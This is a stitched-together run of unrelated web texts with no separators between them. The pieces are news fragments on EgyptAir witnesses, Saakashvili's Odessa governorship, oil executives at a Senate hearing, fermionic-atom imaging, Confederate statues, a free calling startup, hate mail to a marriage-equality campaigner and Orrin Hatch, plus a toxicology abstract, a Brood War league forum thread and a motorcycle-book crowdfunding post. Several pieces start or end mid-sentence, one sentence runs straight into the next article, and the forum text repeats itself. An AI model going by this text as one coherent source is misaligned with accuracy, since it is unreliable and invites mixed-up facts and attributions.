But images from Mr. Radwan’s Facebook page appear to match one of the men in a photograph released by the Federal Bureau of Investigation. The F.B.I. declined to comment.
Both Mr. Ali and Mr. Radwan have no known political affiliations, according to several EgyptAir officials. “These guys are harmless; they would be useless in a fist fight,” one of the airline officials said. “They cannot be in any way involved.”
“They don’t understand that they are wanted as witnesses,” he said. “They are shocked and scared now. Radwan is especially scared. The poor guy is always anxious.”
“Please, I cannot say anything,” Mr. Radwan said when reached by phone on Friday. “There is a spokesperson for the company. Speak to them.” He then ended the call.
Mr. Radwan’s last public post on Facebook came a day before the attacks in New York and New Jersey. It is a video of a man urging people not to associate Islam with terrorism.
Several attempts to reach Mr. Ali on Friday through an intermediary were unsuccessful.The US government will pay the salaries to the staff of Georgia's former President Mikhail Saakashvili, who is now serving as a new governor of Odessa Region, Ukraine, Saakashvili said, adding that California police will also train Odessa’s officers.
“Within the framework of Odessa’s anti-corruption pressure, the US government agreed to provide funds for the salaries of the new team of [Mikhail] Saakashvili,” Saakashvili wrote on his Facebook page after the meeting with Geoffrey Pyatt, the US Ambassador to Ukraine.
He added that American police officers from California “will train new Odessa police.”
Сегодня Глава Одесской ОГА Михаил Саакашвили провел встречу с Послом США Джеффри Пайеттом. Договорились, что американски...Posted by Mikheil Saakashvili on 6 Июль 2015 г.
READ MORE: US promises Ukraine help to become gas exporter
Pyatt has repeatedly voiced his support for Saakashvili. Earlier in July he said that Washington “fully supports Mikheil Saakashvili and his team, and we will do everything so that they can succeed.”
READ MORE: US military instructors deployed to Ukraine to train local forces
US authorities have recently been sending other instructors to train local forces in Ukraine. In April, paratroopers of the US 173rd Airborne Brigade, based in Vicenza, Italy, arrived in the western Ukrainian city of Lvov to provide training for Ukrainian government troops. Pyatt then posted on Twitter several pictures of the US paratroopers marching through the airport in the city.
READ MORE: Ex-Georgian president, wanted at home, becomes governor in Ukraine
Saakashvili became governor of Odessa Region back in May. He was personally appointed by President Petro Poroshenko.
He was also given Ukrainian citizenship under Poroshenko's personal decree, published on his website, as the Ukrainian constitution says that only a citizen can become an official at governor level.
READ MORE: ‘Police Academy’ moves to Ukraine? New patrol in Kiev takes oath in stylish uniforms (PHOTOS, VIDEO)
Saakashvili left Georgia in autumn 2013, days before his presidential term expired. He has been living abroad ever since.
In spring 2014, Georgia's new ruling coalition accused Saakashvili of embezzling hundreds of thousands of dollars from the state budget. Georgia's prosecutors have started an investigation into the case. However, Saakashvili denies the charges against him, saying the funds went towards attracting foreign investors to the country.
Apart from embezzlement, Saakashvili has several other cases ongoing against him. He is accused of abuse of power during the crackdown on anti-government protests in the Georgian capital, Tbilisi, on November 7, 2007. He was also allegedly involved in the attack on the opposition TV station Imedi, which was seized by Georgian special forces on the same day, and the appropriation of the founder's assets.
In February 2015, Tbilisi issued an extradition request for Saakashvili, but Kiev authorities rejected it.Entering a new millennium seems a good time to challenge some old ideas, which in our view are implausible, have little supportive evidence, and might best be left behind. In this essay, we summarize a decade of work, raising four issues that involve toxicology, nutrition, public health, and government regulatory policy. (a) Paracelsus or parascience: the dose (trace) makes the poison. Half of all chemicals, whether natural or synthetic, are positive in high-dose rodent cancer tests. These results are unlikely to be relevant at the low doses of human exposure. (b) Even Rachel Carson was made of chemicals: natural vs. synthetic chemicals. Human exposure to naturally occurring rodent carcinogens is ubiquitous, and dwarfs the general public's exposure to synthetic rodent carcinogens. (c) Errors of omission: micronutrient inadequacy is genotoxic. The major causes of cancer (other than smoking) do not involve exogenous carcinogenic chemicals: dietary imbalances, hormonal factors, infection and inflammation, and genetic factors. Insufficiency of many micronutrients, which appears to mimic radiation, is a preventable source of DNA damage. (d) Damage by distraction: regulating low hypothetical risks. Putting huge amounts of money into minuscule hypothetical risks damages public health by diverting resources and distracting the public from major risks.Rex Tillerson, the boss of ExxonMobil admitted last week that the price of oil--based purely on supply and demand- should be in the $60 to $70 a barrel range. The reason it's above $100 a barrel, Tillerson explained, is due to the oil majors using futures contracts to lock in current high prices, and speculation that is engineered by the high-frequency trading of quantitative hedge funds.
That was just one of the stunning revelations made during the Senate hearing on tax subsidies to the oil industry-- which featured the 6 most powerful CEOs-- BP, Shell, Chevron, Conoco-Phillips and Exxon-Mobil-- all sitting like ducks in a row giving the stiff-arm to pressing unfriendly inquiries from a host of Democratic Senators.
The formal showdown between Big Oil and Big Politics was enormously revealing theater about just how selfish and narrow-minded cash-rich industry can be when called upon to do their patriotic duty in balancing the budget. Ouch!!!
Here are some other juicy disclosures from the hearing:
--The average cost of producing 1 barrel of oil was $11; the average price of the oil in the marketplace--$72-- some 6.5 times the cost of getting the oil out of the ground.
--The profits for the big 6 oil companies was $36 billion in the year's first quarter. A large part of the $36 billion was used to buyback shares or pay dividends to shareholders.
--These giant US companies have only 1.4% of global oil reserves; the national companies of OPEC have 68% of the reserves. Therefore, argue the CEOs best not to take away tax advantages, ie what the Senators call "subsidies."
-- If those nasty Senators take away the tax advantages, exploration for oil in the US will dry up-- and move abroad where t he tax advantages are splendid. This is called waving the red flag- and threatening to put the nation's oil deficit in even more dollar-bashing trouble.
--If Obama doesn't loosen restrictions on drilling in Alaska and offshore US-- we will become even more horribly dependent on importing foreign oil.
--There is NO energy plan for the US-- and warns Sen. Max Baucus of Montana- "we will require the good faith on everyone's part-- which is going to be enormously difficult." This is an understatement when one sees the way the oil executives and the Senators agree on almost nothing. No CEO would admit the tax advantages were subsidies.
--The deduction for intangible drilling expenses was given to the oil industry in 1960 when a barrel was worth about $15-17. So, why do they need this favor when oil is $100 a barrel? Good bloody question, I thought. The oil execs looked horrified and warned that all exploration in the US would cease and desist.Eywa- Profile Blog Joined August 2010 Canada 3607 Posts Last Edited: 2017-10-02 19:57:29 #2
If I contacted you about your participation (or your team's) already, please confirm in the thread below.
Hey all,
This is to inform you that the league will start September 9th at 19CET, it will go on for the total duration of 3 weeks. Every week, 1 UB round and 1 LB round will be played (so the losing clans play twice).
Matchups:
Location:
Grand Final
iFU vs LRM)
< Tau Cross >
< Fighting Spirit >
< New Hearbreak Ridge >
< Polaris Rhapsody >
< Neo Jade >
+ Show Spoiler [Week 1] +
iFU vs LRM
iFU.Marwin < Tau Cross > LRM)OctZerg
iFU.Spx < Fighting Spirit > LRM)Bakuryu
iFU.eOnzErG < New Hearbreak Ridge > LRM)MaD
iFU.Cryoc < Polaris Rhapsody > LRM)trutacz
< Neo Jade >
iFU 4 - 0 LRM)
Nb vs sas
Nb.NeMu < Tau Cross > sas.Michael
Nb.funNy < Fighting Spirit > sas.Sziky
Nb.Favorite < New Hearbreak Ridge > sas.Dewalt
Nb.TerrOr < Polaris Rhapsody > sas.Ace
< Neo Jade >
Nb 3 - 1 sas
Sunday, 19CET
LB R1
sas.Dewalt < New Hearbreak Ridge > LRM)TrutaCz
sas.Dewalt < Polaris Rhapsody > LRM)Bakuryu
sas.Ace < Outsider SE > LRM)Bakuryu
sas.Ace < Eye of the Storm > LRM)TrutaCz
< Fighting Spirit >
sas 1 - 3 LRM) vs< Tau Cross >LRM)OctZerg< Fighting Spirit >LRM)Bakuryu< New Hearbreak Ridge >LRM)MaD< Polaris Rhapsody >LRM)trutacziFU- 0 LRM)vsNb.NeMu < Tau Cross >< Fighting Spirit >sas.Sziky< New Hearbreak Ridge >sas.Dewalt< Polaris Rhapsody >sas.AceNb- 1 sassas.Dewalt < New Hearbreak Ridge >< Polaris Rhapsody >LRM)Bakuryusas.Ace < Outsider SE >sas.Ace < Eye of the Storm >sas 1 -LRM)
+ Show Spoiler [Week 2] +
Completed
Nb vs iFU
NeMu < Tau Cross > Marwin
funNy < Fighting Spirit > Cryoc
Arcneon < New Hearbreak Ridge > eOnzErG
Favorite < Polaris Rhapsody > LancerX
iFU advances 4-0
Saturday, 17CET
LRM) vs Nb
MaDinho < New Hearbreak Ridge > Mazur
TrutaCz < Polaris Rhapsody > Favorite
Bakuryu < Outsider SE > NeMu
OctZerg < Eye of the Storm > funNy
LRM) advances 3-1 Nb vsNeMu < Tau Cross >funNy < Fighting Spirit >Arcneon < New Hearbreak Ridge >Favorite < Polaris Rhapsody >vsNb< New Hearbreak Ridge >Mazur< Polaris Rhapsody >Favorite< Outsider SE >NeMuOctZerg < Eye of the Storm >
Matchups:Location: Discord iFU vs LRM)< Tau Cross >< Fighting Spirit >< New Hearbreak Ridge >< Polaris Rhapsody >< Neo Jade >
Teams will submit their line ups for Week 1 Upper bracket by Wednesday of this week. Ace player not required in the initial lineup.
I can't edit the wiki, if anyone can help me with the page, that would be amazing. OR if my privileges are restored, I can do it.If I contacted you about your participation (or your team's) already, please confirm in the thread below.Hey all,This is to inform you that the league will start September 9th at 19CET, it will go on for the total duration of 3 weeks. Every week, 1 UB round and 1 LB round will be played (so the losing clans play twice).Teams will submit their line ups for Week 1 Upper bracket by Wednesday of this week. Ace player not required in the initial lineup. IMPORTANT
Hey all,
Due to my limited availability to coordinate this on Saturday, the LB round will be played on Sunday at 19CET. The upper bracket round can be played at anytime after the lineups are announced, default time if no arrangement is made is Saturday at 19CET.
Replays for the upper bracket round are due by Sunday, 17CET.
If you slot in a player and they cannot show up to their match for whatever reason, you may offer your opponent 2 sub options which they can choose from, if you don't have a sub for the arranged time (or default time), then the set is considered as W.O after 15 minutes.
The broadcast will be done by Sayle on Sunday at 19CET. Hey all,Due to my limited availability to coordinate this on Saturday, the LB round will be played on Sunday at 19CET. The upper bracket round can be played at anytime after the lineups are announced, default time if no arrangement is made is Saturday at 19CET.Replays for the upper bracket round are due by Sunday, 17CET.If you slot in a player and they cannot show up to their match for whatever reason, you may offer your opponent 2 sub options which they can choose from, if you don't have a sub for the arranged time (or default time), then the set is considered as W.O after 15 minutes.The broadcast will be done by Sayle on Sunday at 19CET. Being mannered is almost as important as winning. Almost...
739 Profile Blog Joined May 2009 Bearded Elder 14681 Posts #3 Can be interesting. eOnzErG, Cryoc and spx are all playing, same goes to Trutacz, OctZerg, Arcneon, Jumper, Sziky, Dewalt for sure. Would be interesting to watch ^_^
_
iFU.Medic Writer Salty oldboy that loves memes | One and only back-to-back Liquibet Winner
GGzerG Profile Blog Joined January 2010 United States 9295 Posts #4 Looks like good solid match ups for all, is Sziky still in good shape I imagine? :D AKA: TelecoM[WHITE] Protoss fighting
Cele Profile Blog Joined December 2008 Germany 3524 Posts Last Edited: 2017-08-29 17:38:32 #5
all jokes aside: nice idea to bring back GC Eywa. Gl hf. im getting my popcorn and a soda and wait for thegecko to make a statement here!! It's bound to happen anytime soon i think!! Thankfully, some things never change?all jokes aside: nice idea to bring back GC Eywa. Gl hf. Broodwar for life!
[SCB]Terranos Profile Joined January 2012 Kazakhstan 52 Posts #6 cool!!! I feel u Die
aiwekas Profile Joined February 2017 45 Posts #7 hi i know nb.lure/sj.lure will join remastered very soon. he is active player in iccup( cant play rem, cuz bad pc) so if u want join him to nb let me know i can give hes skype or phone number.
Eywa- Profile Blog Joined August 2010 Canada 3607 Posts #8 On August 30 2017 03:36 aiwekas wrote:
hi i know nb.lure/sj.lure will join remastered very soon. he is active player in iccup( cant play rem, cuz bad pc) so if u want join him to nb let me know i can give hes skype or phone number.
Please do, TerrOr and Arcneon are taking charge of that team, but you can send me his skype if he wants to play and I'll connect them. Please do, TerrOr and Arcneon are taking charge of that team, but you can send me his skype if he wants to play and I'll connect them. Being mannered is almost as important as winning. Almost...
739 Profile Blog Joined May 2009 Bearded Elder 14681 Posts #9 You reached OctZerg as well? Writer Salty oldboy that loves memes | One and only back-to-back Liquibet Winner
iFU.spx Profile Joined April 2011 Russian Federation 145 Posts #10 wow, thanks for hosting.
Im in!
CaStrO Profile Joined April 2008 Peru 115 Posts #11 can participe?
i'm LRM toocan participe?
Eywa- Profile Blog Joined August 2010 Canada 3607 Posts Last Edited: 2017-08-29 18:57:07 #12 On August 30 2017 03:41 739 wrote:
You reached OctZerg as well?
He replied to me a few days ago. Still, there's a good chance LRM doesn't play due to lack of members, I don't know how to reach Kolll or Bakuryu outside of TL (messaged both on here), I know they're both playing. I'm not too sure who else from the old LRM squad is active.
+ Show Spoiler [EDIT] + O_O I can't find OctZerg's PM, I either hallucinated it or I deleted it accidentally while on my phone... (Very likely that it's the latter. He replied to me a few days ago. Still, there's a good chance LRM doesn't play due to lack of members, I don't know how to reach Kolll or Bakuryu outside of TL (messaged both on here), I know they're both playing. I'm not too sure who else from the old LRM squad is active. Being mannered is almost as important as winning. Almost...
Eywa- Profile Blog Joined August 2010 Canada 3607 Posts Last Edited: 2017-08-29 18:53:48 #13 On August 30 2017 03:48 CaStrO wrote:
i'm LRM too can participe?
i'm LRM toocan participe?
YES.
Side note: My LRM Zerg nation icon was spot on ;d YES.Side note: My LRM Zerg nation icon was spot on ;d Being mannered is almost as important as winning. Almost...
Eywa- Profile Blog Joined August 2010 Canada 3607 Posts #14 On August 30 2017 03:47 iFU.spx wrote:
wow, thanks for hosting.
Im in!
eonzerg volunteered you already, you don't have a choice! eonzerg volunteered you already, you don't have a choice! Being mannered is almost as important as winning. Almost...
739 Profile Blog Joined May 2009 Bearded Elder 14681 Posts #15 On August 30 2017 03:51 Eywa- wrote:
Show nested quote +
On August 30 2017 03:41 739 wrote:
You reached OctZerg as well?
He replied to me a few days ago. Still, there's a good chance LRM doesn't play due to lack of members, I don't know how to reach Kolll or Bakuryu outside of TL (messaged both on here), I know they're both playing. I'm not too sure who else from the old LRM squad is active. He replied to me a few days ago. Still, there's a good chance LRM doesn't play due to lack of members, I don't know how to reach Kolll or Bakuryu outside of TL (messaged both on here), I know they're both playing. I'm not too sure who else from the old LRM squad is active.
OctZerg is currently playing rankeds, so he should of reply here asap.
Bakuryu seems to be pretty active on TL, so he should answer as well.
If it comes to old LRM members, CaStrO just appeared. Bonyth was a part of LRM at some point as well as KenZy. They're both playing actively. FremAN, NeMu as well iirc. OctZerg is currently playing rankeds, so he should of reply here asap.Bakuryu seems to be pretty active on TL, so he should answer as well.If it comes to old LRM members, CaStrO just appeared. Bonyth was a part of LRM at some point as well as KenZy. They're both playing actively. FremAN, NeMu as well iirc. Writer Salty oldboy that loves memes | One and only back-to-back Liquibet Winner
Eywa- Profile Blog Joined August 2010 Canada 3607 Posts #16 On August 30 2017 03:57 739 wrote:
Show nested quote +
On August 30 2017 03:51 Eywa- wrote:
On August 30 2017 03:41 739 wrote:
You reached OctZerg as well?
He replied to me a few days ago. Still, there's a good chance LRM doesn't play due to lack of members, I don't know how to reach Kolll or Bakuryu outside of TL (messaged both on here), I know they're both playing. I'm not too sure who else from the old LRM squad is active. He replied to me a few days ago. Still, there's a good chance LRM doesn't play due to lack of members, I don't know how to reach Kolll or Bakuryu outside of TL (messaged both on here), I know they're both playing. I'm not too sure who else from the old LRM squad is active.
OctZerg is currently playing rankeds, so he should of reply here asap.
Bakuryu seems to be pretty active on TL, so he should answer as well.
If it comes to old LRM members, CaStrO just appeared. Bonyth was a part of LRM at some point as well as KenZy. They're both playing actively. FremAN, NeMu as well iirc. OctZerg is currently playing rankeds, so he should of reply here asap.Bakuryu seems to be pretty active on TL, so he should answer as well.If it comes to old LRM members, CaStrO just appeared. Bonyth was a part of LRM at some point as well as KenZy. They're both playing actively. FremAN, NeMu as well iirc.
;d Arcneon is also trying to get NeMu because he was part of Nb, I don't think Bonyth or KenZy were part of LRM during GC, but I will probably consider them if they were part of LRM for any extended period before or after. ;d Arcneon is also trying to get NeMu because he was part of Nb, I don't think Bonyth or KenZy were part of LRM during GC, but I will probably consider them if they were part of LRM for any extended period before or after. Being mannered is almost as important as winning. Almost...
aiwekas Profile Joined February 2017 45 Posts #17 hmm this look amazing but i got 1 question all games 1x1 or like iccup cl 4x 1x1 and 1x 2x2?
Eywa- Profile Blog Joined August 2010 Canada 3607 Posts #18 On August 30 2017 04:10 aiwekas wrote:
hmm this look amazing but i got 1 question all games 1x1 or like iccup cl 4x 1x1 and 1x 2x2?
All 1v1, it's Gambit Cup format, 5x Bo1 1v1. If the teams had enough players for Bo7, we would do that, but right now, it's looking like 5x Bo1 1v1. All 1v1, it's Gambit Cup format, 5x Bo1 1v1. If the teams had enough players for Bo7, we would do that, but right now, it's looking like 5x Bo1 1v1. Being mannered is almost as important as winning. Almost...
CaStrO Profile Joined April 2008 Peru 115 Posts #19 On August 30 2017 03:51 Eywa- wrote:
Show nested quote +
On August 30 2017 03:48 CaStrO wrote:
i'm LRM too can participe?
i'm LRM toocan participe?
YES.
Side note: My LRM Zerg nation icon was spot on ;d YES.Side note: My LRM Zerg nation icon was spot on ;d
LRM)CaStrO nation PERU :D LRM)CaStrO nation PERU :D
739 Profile Blog Joined May 2009 Bearded Elder 14681 Posts Last Edited: 2017-08-29 19:29:54 #20 Nvm Writer Salty oldboy that loves memes | One and only back-to-back Liquibet Winner
1 2 3 4 5 6 Next AllResearchers in the US have taken images of individual atoms in an ultracold fermionic gas as it makes the transition from a metallic phase to a band insulator and then to a Mott insulator. This is the first study of such a transition in a fermionic gas to be made with single-site and single-particle resolution. While such experiments are routinely done using ultracold bosonic atoms, doing the same with fermions is more challenging because they are difficult to cool. However, the rewards for physicists could be greater because fermionic atoms are a closer match to electrons in a solid, and therefore such experiments could shed light on poorly understood solid systems such as high-temperature superconductors.
Fermions are particles that have half-integer spin, and are constrained by the Pauli exclusion principle, which dictates that no two identical fermions can occupy the same quantum state simultaneously. Fermions include many elementary particles such as quarks, electrons, protons and neutrons, and so their collective behaviour is responsible for the structure of the elements in the periodic table, high-temperature superconductors, the properties of nuclear matter and much more.
Cooling off
Studying strongly interacting systems of fermionic atoms in ultracold gases should allow physicists to study a wide range of collective behaviours. However, creating such systems is difficult because the exclusion principle means that each fermion added to a system comes in at an increasingly higher energy, making such gases very difficult to cool and image. It was only last year that researchers managed to create and image an ultracold fermionic gas in an optical lattice, where single fermions were clearly resolved and certain interactions directly detected (see “Fermionic microscope sees first light“).
A fermionic microscope allows quantum physicists to delve into the intricacies of how strong interactions between fermions lead to complex quantum many-body systems such as spin liquids and d-wave superconductors. Probing such systems with single-site resolution in a lattice should offer key insights into these phenomena.
Fermionic transitions
Now, Daniel Greif, Markus Greiner and other colleagues at Harvard University in the US have created their own fermionic microscope using ultracold lithium-6 atoms that are trapped in a 2D optical lattice. They then used it to take images of the atoms as the system makes the transition from a metallic phase to a band insulator, and then to an interaction-dominated Mott-insulator phase.
When the interaction energy of the gas is small compared with the kinetic energy, the atoms are largely free to move around, although no two fermions will occupy the same lattice site unless their spins are different. But as the interaction energy between atoms is increased to cause a greater repulsion between atoms – limiting the atoms’ ability to hop between lattice sites – phase transitions occur.
In the Mott-insulator state, for example, the repulsion is so strong that an atom cannot hop into a neighbouring site that contains an atom. Because all sites contain one atom, the atoms are unable to move and behave like an insulator in an analogy to electrons in a solid. This kind of self-arranged quantum state could, in principle, have very low entropy, which makes it a good starting point to engineer other many-body quantum systems of interest. Normally, the atoms’ spins do not influence one another during a Mott phase and only their relative positions have any influence. However, at very low temperatures a phenomenon known as “superexchange” kicks in and the spins should be ordered in an alternating and anti-aligned pattern.
New view
Team member Sebastian Blatt told physicsworld.com that the team has extended a fermionic microscope technique developed last year to fermionic lithium-6. “The only two alkali metals that can be laser-cooled and have fermionic isotopes are lithium-6 and potassium-40,” says Blatt. But he also points out that the metals’ atomic structure does not lend itself to the fluorescence-imaging technique used in quantum-gas microscopes, so getting the imaging technique to work at the single-site- and single-atom-resolved level was “a major step forward”.
“The new thing about the imaging is that we can now measure local variables and correlations in this quantum many-body system,” says Blatt, explaining that the fermionic character of the atoms is important because it leads to very different states of matter than those formed in bosonic systems. “Our fermionic lithium-6 atoms are also much closer in character to electrons in solids than typically used bosonic atoms such as rubidium-87. This is both because lithium-6 is a fermion, and because of its relatively small mass,” he adds. This ability to experimentally observe local changes and transitions in ultracold fermionic gasses will help to improve our understanding of fermionic many-body systems.
The measurements are described in Science.As you've noticed by now, we at RIDE Adventures also support the individual riders, the "Lone Wolves" if you will, who head out and Ride the World on their own motorcycles. While we hope to bring more of you into our service offering, we're not just supporting those who purchase our guided tours & motorcycle rentals.
In the same spirit, we've noticed a unique story about a unique motorcycle rider named Allan Karl, how his leap of faith led to him amazing cultural discoveries and experiences from around the world, and a new project that has evolved from this in the form of a book. Enjoy Allan's comments and photos below, and you can be part of his fun publishing project (photos by WorldRider or Allan Karl)
-------------
FORKS, the new book by WorldRider Allan Karl debuts on Kickstarter
What inspires us to wander and wonder, to pursuit our passion or to push our minds and bodies beyond the limits? The more I travel, the more I learn how important travel is to growing personally and learning.
Unlike those who are happy traveling afar only to cocoon themselves in an all-inclusive resort buffered from culture beyond the resort walls, I believe those of us who prefer to travel overland by motorcycle or 4x4 are motivated by an insatiable curiosity to explore and discover.
Several years ago I woke up to the fact that I was jobless and my marriage had ended. I had come to another fork in my life. At first, I started another business. It didn’t take long for me to realize that my work was unfulfilling. That’s when I decided to travel around the world—alone on my motorcycle.
For two years I planned my adventure, poring over books, maps and internet sites. I searched for the best modifications I could make to my BMW dual-sport motorcycle, spending hours in the garage getting it ready.
I winded down my business, sold almost everything I owned and headed to the Arctic Ocean. The journey north from California was an adventure and a test ride. I would have a chance to tweak my bike and load, which I did, before crossing into Mexico and heading south to Patagonia, Tierra del Fuego and beyond.
Along the way, I traveled 62,000 miles through 35 countries on five continents. At first, I traveled too fast, buzzing through British Colombia, Yukon and Alaska. I quickly learned that the goal of travel is not to check destinations of lists, but rather to experience culture and connect with people.
There were challenges along my journey. I broke my leg badly in Bolivia. I was marched into the Colombian jungle at gunpoint, and I had to plead with the governments of Syria and Sudan to let me into their countries.
My journey lasted three years. Most people don’t have the time, resources or will to travel for so long. For me, travel is the one thing on which I spend my money that nobody can ever take away from me. Travel is an investment in both time and money, and its return is immeasurable.
After returning from this adventure, I’d come to yet another fork in the road. What do I do next? I decided to write a book—another journey that took me nearly as long as my around the world motorcycle ride.
At first I planned to write a traditional travelog or memoir, but I realized the best way to share this adventure would be beyond words. That is, to see it with photos, to feel it through stories of culture and connection and to taste it with flavors of local food.
Agents and publishers asked me to simplify the idea, take out the food and photos. Rather than compromise, I decided to turn to the crowdfunding site, Kickstarter. After three years of work, my book is ready to print. FORKS, A Quest for Culture, Cuisine and Connection, is a 270 page hardcover book with 500 color photos and 40 recipes from all over the world.
I hope that my Kickstarter campaign will succeed in generating enough preorders to fund the expense of first-edition printing.
The book, along with collector-edition postcards, photographic prints, coaching sessions and keynote speeches are some of the rewards that interested backers can expect from pledging on Kickstarter. Rewards start at $10, and books can be pre-ordered for as little as $45.
Websites:
Kickstarter: http://worldri.de/r-kickstarter
FORKS The Book: www.ForksTheBook.com
Original WorldRider blog: www.worldrider.comThe Boss is |
not hidden from sight. But there are many ideas about where the most appropriate spot could be.
Cities confronted with what to do with removed Confederate statues are handling the issue differently. After removing four controversial statues, Baltimore’s Mayor Catherine Pugh suggested she’d like to see them moved to cemeteries.
For now, they are being stored until the council votes on what to do next.
“We should not have these anywhere for public display,” said Baltimore City Councilman Brandon Scott. “These monuments are being used as beacons of lightning for vile racism.”
Where do you think is the most appropriate place to relocate removed Confederate statues? #ConfederateStatues — Megan Cloherty (@ClohertyWTOP) August 17, 2017
Meanwhile, Virginia’s governor is asking cities in the Commonwealth to relocate Confederate statues to “museums or more appropriate settings,” he said in a statement.
“I don’t think they should be ground into dust and forgotten,” said Jane Levey, chief historian at the D.C. Historic Society.
She believes they could educate future visitors to museums about the country’s past.
“Which is a very different idea than having it out in a public street where people are asked to admire,” Levey added.
Another idea comes from a Charlottesville, Virginia citizens commission.
Grace Elizabeth Hale, professor of U.S. culture and southern history at University of Virginia, likes a suggestion to relocate them to civil war battlefields.
“They suggested one possible answer be moving the Stonewall Jackson and Robert E. Lee statues to Appomattox National [Park] battlefield and I thought that was a brilliant idea,” Hale said.
Hale thinks a battlefield relocation puts the controversial figures in historical context and also creates a space that can be avoided or sought out, depending on the visitor’s interest in their Civil War role.
“People who are neo-Confederates who want to celebrate Lee as a hero will still do that. There’s no way we can stop them from doing that and we’re a country that wants to protect free speech … but the context itself will be presenting those figures as on the wrong side of the political and historical questions of that moment,” Hale said.
Like WTOP on Facebook and follow @WTOP on Twitter to engage in conversation about this article and others.
© 2017 WTOP. All Rights Reserved.Imagine making phone calls for hours without having to pay a penny, even when you do not have an internet connection.
It is possible now due to an ambitious startup with a 23-year-old chief executive that is still in its early days. The catch: you have to listen to advertisements every two minutes.
Even as free voice chats over the Internet using applications like Skype and Viber revolutionise communications, four young engineers from Bangalore — Yashas Shekar, Sandesh E, Vijay Umaluti and Sabari Jagadeesan — have developed a free voice calling service, Freekall, which brings voice over Internet (VoIP) services to those without Internet.
In this service designed for nations like India where hundreds of millions of people still do not have access to the Internet, Freekall is using the power of advertisement and “cloud telephony” that uses Internet-linked computers connected to phones make even landline or mobile phone calls free.
All users have to do is to give a missed call to the Freekall number. They will get a call back from the company’s server and can then dial the number they want to make a call to, much like a trunk call in the good old days (see graphic). While calls are free, callers will have to listen to advertisements in every two-minute interval, unlike the voices of old-world operators.
The service completed its trial run successfully by offering 600,000 calls in five days. It is temporarily suspended but plans to resume next month. The company is in talks with venture capital to boost the business.
Freekall plans to offer a million calls a day and is targeting a revenue of Rs 185 crore in the first year through advertisements.
However, will this sustain, especially when Freekall will have to pay telecom companies for the huge volume of calls?
“This is a completely new idea. One has to wait and see,” said Jehil Thakkar, media head at consulting firm KPMG.
The entrepreneurs are upbeat.
“We have done our math. There will be two to five million ad slots available every day as people generally talk for at least two minutes in one call,” said Shekar, Freekall’s CEO.
It was more than a year ago Shekar and his school mate Sandesh E left their respective jobs in Godrej and Wipro to start a company that developed web-based applications for small companies. They were later joined by another friend, Vijay Umaluti. They turned their focus towards cloud telephony which eventually led them into forming Freekall. Along the way, Sabari Jagadeesan, who used to help them with programming during weekends, quit his job in Wipro and joined fulltime.
In December they received a seed funding of Rs 10 lakh from angel investor Ranjit Cherickel, the former head of sales of Nokia Siemens in Africa. “I understand their model. As a product it will succeed in emerging markets. Anything free will do very well in India,” said Cherickel.
The gang of four is currently enthused by the overwhelming user reaction.
These Bangalore lads badly miss their weekend treks and basketball together but at the moment they are happy that their year-long effort now promises to be worth all those small, little sacrifices.
First Published: Mar 12, 2014 00:23 ISTThere was an outpouring of support on social media last night after journalist and marriage equality campaigner Una Mullaly tweeted a photo of a letter she received from a reader.
In the letter, the writer claims that her recent cancer diagnosis was the 'will of God' and was connected to her support for a yes vote in Friday's referendum.
More hate mail from No voters today. My cancer is the will of God for campaigning for equality, apparently. pic.twitter.com/yFseggqBUq — Una Mullally (@UnaMullally) May 19, 2015
Una recently wrote a well-received piece in the Irish Times detailing her diagnosis with cancer and her struggles to accept herself as a lesbian.
A vocal advocate of marriage equality, Una is no stranger to criticism and even says this letter isn't the worst she's ever received.
I don't give a damn if some bigot hates me, but next time a No campaigner talks about being "bullied", this is what I'm putting up with. — Una Mullally (@UnaMullally) May 19, 2015
That's not even the worst letter I've received - there's other stuff I wouldn't even put on Twitter because it's so disgusting. — Una Mullally (@UnaMullally) May 19, 2015
Many tweeted their disgust at the contents of the letter, saying that no matter which way you are voting on Friday, this was deplorable.
Maybe this is Closer to what majority think Una.@UnaMullally ohh the trolls the trolls lol pic.twitter.com/lfnbmcFNDQ — Alan Mc Menamin (@AlanMcMenamin) May 19, 2015
That letter sent to Una Mullaly is almost a parody in it's ridiculousness. Sadly, this person exists. I can't comprehend that much hate. — Orla (@orlabaz) May 19, 2015
@UnaMullally I'm so sorry that you have to put up with this horrible abuse. These should be published with names (if they gave them) — Ruth Hegarty (@EggandChick) May 19, 2015
Una has said she has no intention of making the name of the letter-writer public - the person signed the letter with 'Best Wishes'.Sen. Orrin Hatch (R-UT) was duped by his home state newspaper.
In a scathing Christmas morning editorial, the newspaper named Hatch its “Utahn of the Year” – a designation that recognizes a person who has had a large impact on the state, “for good or for ill.” The newspaper then called on Hatch to step aside.
But Hatch (or his staff) seemed to have missed the point of the piece, tweeting the editorial Monday afternoon and saying he was “grateful for this great Christmas honor.”
Grateful for this great Christmas honor from the Salt Lake Tribune. For the record, I voted for @SpencerJCox and @rudygobert27. #utpol pic.twitter.com/7iFOBK6TWf — Orrin Hatch (@OrrinHatch) December 25, 2017
It appears Hatch didn’t read the article.
The newspaper called Hatch, who is the longest-serving Republican senator in U.S. history, a politician with an “utter lack of integrity” who has an “unquenchable thirst for power.” While the newspaper praised Hatch for his role in passing tax reform last week, it said that legislative victory, coupled with Hatch’s efforts in the “dramatic dismantling” of Utah’s national monuments, signal it’s time for an exit.
“Over the years, Hatch stared down a generation or two of highly qualified political leaders who were fully qualified to take his place … Hatch is now moving to run for another term — it would be his eighth — in the Senate,” the editorial said. “Once again, Hatch has moved to freeze the field to make it nigh unto impossible for any number of would-be senators to so much as mount a credible challenge. That’s not only not fair to all of those who were passed over. It is basically a theft from the Utah electorate.”
While sources close to Hatch have told TPM that the senator, who has served for 42 years, is leaning toward retirement, Hatch has publicly rejected the idea. During President Trump’s speech in Utah announcing his significant reduction of two national monuments, Trump flat-out urged Hatch to seek reelection, a move likely spurred by Trump’s distaste for Mitt Romney, who’s been floated as a replacement for Hatch if he decides to retire.
Nearly 24 hours after the initial tweet, Hatch’s office claimed the statement from the senator’s account was just “tongue-in-cheek,” his spokesperson said on Twitter Tuesday.
You’d have to be very new to Twitter Hatch to think this tweet was anything but tongue-in-cheek. This is at least the 4th editorial the Tribune has written in the last two years urging Hatch to retire. Might as well have a chuckle about it. On Christmas.https://t.co/kzWebDLVuG — Matt Whitlock 🇺🇸 (@mattdizwhitlock) December 26, 2017
Read the full Salt Lake Tribune editorial here.
